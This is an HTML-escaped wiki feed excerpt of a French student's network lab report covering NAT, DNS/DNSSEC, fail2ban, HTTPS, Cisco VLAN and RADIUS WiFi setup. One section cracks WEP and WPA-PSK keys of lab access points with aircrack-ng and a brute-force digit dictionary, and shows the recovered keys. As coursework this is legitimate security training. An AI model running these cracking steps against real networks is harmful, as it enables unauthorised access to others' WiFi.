iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12266</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12266"/>
		<updated>2026-02-15T11:09:08Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
